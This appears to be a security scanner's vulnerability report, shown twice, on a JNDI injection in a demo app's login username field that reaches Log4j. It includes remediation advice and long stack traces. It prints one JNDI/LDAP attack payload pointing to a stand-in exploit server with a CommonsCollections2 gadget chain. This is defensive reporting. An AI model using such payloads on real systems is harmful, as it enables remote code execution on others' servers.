Vulnerability ID: UEAC-ZO6L-6K5Y-PCT7
Application Name: CargoCats-contrast-cargo-cats-frontgateservice
Vulnerability Link: https://eval.contrastsecurity.com/Contrast/static/ng/index.html#/545a3bce-97c5-4732-af38-1ac459087b0a/applications/0f3e06e4-d3c5-47a3-a2ce-ce43b8dc3e17/vulns/UEAC-ZO6L-6K5Y-PCT7
What Happened?
We tracked the following data from "username" Parameter:
POST /login
...which was accessed within the following code:
com.contrast.frontgateservice.service.CustomUserDetailsService#loadUserByUsername(), line 24
rule.evidence.jndi.injection
ldap://exploit-server:1389/serial/CommonsCollections2/sleep/1000
What's the risk?
The application takes untrusted data from the user and uses it to perform a Java Naming and Directory Interface (JNDI) lookup. Made infamous by the Log4Shell vulnerability in Log4j2, untrusted data in JNDI injections can easily escalate to remote code exploits (RCE). While the default security configuration of Java 11+ typically prevents {{#emphasize}}most{{/emphasize}} escalations to RCE, attackers can still take advantage of untrusted deserialization gadgets on the application's class path to escalate to RCE through a JNDI lookup.
Recommendation
Untrusted data should never be used in a Java Naming and Directory Interface (JNDI) lookup. If your application requires dynamic JNDI lookups, then restrict those lookups to a known set of safe values using a validator function.
Check out our AI-generated Intelligent Remediation Guidance! https://eval.contrastsecurity.com/Contrast/static/ng/index.html#/545a3bce-97c5-4732-af38-1ac459087b0a/vulns/UEAC-ZO6L-6K5Y-PCT7/overview/recommendation
First Event
Stack:
javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:149)
org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter.obtainUsername(UsernamePasswordAuthenticationFilter.java:115)
org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter.attemptAuthentication(UsernamePasswordAuthenticationFilter.java:77)
org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:223)
org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:213)
org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:103)
org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:89)
org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
org.springframework.security.web.header.HeaderWriterFilter.doHeadersAfter(HeaderWriterFilter.java:90)
org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:75)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:110)
org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:80)
org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:55)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:221)
org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:186)
org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:354)
org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:267)
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:167)
org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)
org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:481)
org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)
org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)
org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
org.apache.catalina.valves.RemoteIpValve.invoke(RemoteIpValve.java:768)
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:390)
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:926)
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1791)
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
java.base/java.lang.Thread.run()
Last Event
Stack:
java.naming/javax.naming.InitialContext.lookup()
org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110)
org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033)
org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344)
org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540)
org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498)
org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481)
org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456)
org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)
org.apache.logging.log4j.core.Logger.log(Logger.java:161)
org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205)
org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159)
org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142)
org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2034)
org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1899)
org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1444)
com.contrast.frontgateservice.service.CustomUserDetailsService.loadUserByUsername(CustomUserDetailsService.java:24)
org.springframework.security.authentication.dao.DaoAuthenticationProvider.retrieveUser(DaoAuthenticationProvider.java:94)
org.springframework.security.authentication.dao.AbstractUserDetailsAuthenticationProvider.authenticate(AbstractUserDetailsAuthenticationProvider.java:133)
org.springframework.security.authentication.ProviderManager.authenticate(ProviderManager.java:182)
org.springframework.security.authentication.ProviderManager.authenticate(ProviderManager.java:201)
org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter.attemptAuthentication(UsernamePasswordAuthenticationFilter.java:85)
org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:223)
org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:213)
org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:103)
org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:89)
org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
org.springframework.security.web.header.HeaderWriterFilter.doHeadersAfter(HeaderWriterFilter.java:90)
org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:75)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:110)
org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:80)
org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:55)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:221)
org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:186)
org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:354)
org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:267)
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
HTTP Request
POST http://cargocats.localhost:80/login HTTP/1.1
Accept: /
Accept-Encoding: gzip, deflate
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=93D342466961E9C9EB6B5FED9C6E1BD2
Host: cargocats.localhost
User-Agent: python-requests/2.31.0
X-Forwarded-Host: cargocats.localhost
X-Forwarded-Port: 80
X-Forwarded-Proto: http
X-Forwarded-Scheme: http
X-Real-Ip: 10.1.5.76
X-Request-Id: d13d5ec3a329372bca1ac28e154f8b3e
X-Scheme: http
=contrast-redacted-body
References
https://owasp.org/Top10/A03_2021-Injection/
Session ID: eeb7a07a32284bacbd32ec513b0b4147
artifactHash: b91aebb6
Vulnerability ID: UEAC-ZO6L-6K5Y-PCT7
Application Name: CargoCats-contrast-cargo-cats-frontgateservice
Vulnerability Link: https://eval.contrastsecurity.com/Contrast/static/ng/index.html#/545a3bce-97c5-4732-af38-1ac459087b0a/applications/0f3e06e4-d3c5-47a3-a2ce-ce43b8dc3e17/vulns/UEAC-ZO6L-6K5Y-PCT7
What Happened?
We tracked the following data from "username" Parameter:
POST /login
...which was accessed within the following code:
com.contrast.frontgateservice.service.CustomUserDetailsService#loadUserByUsername(), line 24
rule.evidence.jndi.injection
ldap://exploit-server:1389/serial/CommonsCollections2/sleep/1000
What's the risk?
The application takes untrusted data from the user and uses it to perform a Java Naming and Directory Interface (JNDI) lookup. Made infamous by the Log4Shell vulnerability in Log4j2, untrusted data in JNDI injections can easily escalate to remote code exploits (RCE). While the default security configuration of Java 11+ typically prevents {{#emphasize}}most{{/emphasize}} escalations to RCE, attackers can still take advantage of untrusted deserialization gadgets on the application's class path to escalate to RCE through a JNDI lookup.
Recommendation
Untrusted data should never be used in a Java Naming and Directory Interface (JNDI) lookup. If your application requires dynamic JNDI lookups, then restrict those lookups to a known set of safe values using a validator function.
Check out our AI-generated Intelligent Remediation Guidance! https://eval.contrastsecurity.com/Contrast/static/ng/index.html#/545a3bce-97c5-4732-af38-1ac459087b0a/vulns/UEAC-ZO6L-6K5Y-PCT7/overview/recommendation
First Event
Last Event
HTTP Request
POST http://cargocats.localhost:80/login HTTP/1.1
Accept: /
Accept-Encoding: gzip, deflate
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=93D342466961E9C9EB6B5FED9C6E1BD2
Host: cargocats.localhost
User-Agent: python-requests/2.31.0
X-Forwarded-Host: cargocats.localhost
X-Forwarded-Port: 80
X-Forwarded-Proto: http
X-Forwarded-Scheme: http
X-Real-Ip: 10.1.5.76
X-Request-Id: d13d5ec3a329372bca1ac28e154f8b3e
X-Scheme: http
=contrast-redacted-body
References
https://owasp.org/Top10/A03_2021-Injection/
Session ID: eeb7a07a32284bacbd32ec513b0b4147
artifactHash: b91aebb6